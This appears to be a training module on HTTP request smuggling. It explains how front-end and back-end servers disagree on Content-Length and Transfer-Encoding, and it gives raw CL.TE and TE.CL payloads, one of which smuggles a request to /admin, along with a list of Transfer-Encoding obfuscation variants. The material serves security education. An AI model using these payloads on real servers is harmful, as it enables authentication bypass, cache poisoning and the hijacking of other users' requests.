Module 14 · HTTP Request Smuggling 🔒

HTTP Request Smuggling is a vulnerability class that occurs when frontend and backend HTTP servers disagree on where one request ends and the next begins. It enables cache poisoning, request hijacking, authentication bypass, and credential theft — all from a single carefully-crafted request. James Kettle’s research (2019, with major follow-ups in 2021-2024) put smuggling on the offensive map. This module covers the variants, exploitation patterns, and defenses for 2026.

The fundamental issue

HTTP/1.1 has two ways to indicate the end of a request body:

• Content-Length: 100 — body is exactly 100 bytes
• Transfer-Encoding: chunked — body is a series of length-prefixed chunks ending with 0\r\n\r\n

If a request has both, RFC 7230 says Transfer-Encoding wins. But many proxies and servers parse one and ignore the other — or have subtle bugs in chunked parsing. When the front-end and back-end disagree, an attacker can sneak a partial request past the front-end into the back-end’s queue.

The classic variants

CL.TE — front uses Content-Length, back uses Transfer-Encoding

POST / HTTP/1.1
Host: target.com
Content-Length: 13
Transfer-Encoding: chunked

0

SMUGGLED

Front-end sees CL=13, forwards 13 bytes (0\r\n\r\nSMUGGLED). Back-end sees TE=chunked, reads 0\r\n\r\n as end-of-body, leaves “SMUGGLED” prefixing the next request in the connection.

POST / HTTP/1.1
Host: target.com
Content-Length: 4
Transfer-Encoding: chunked

5e
POST /admin HTTP/1.1
Host: target.com
Foo: bar
0

Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding:[tab]chunked
X: X[\n]Transfer-Encoding: chunked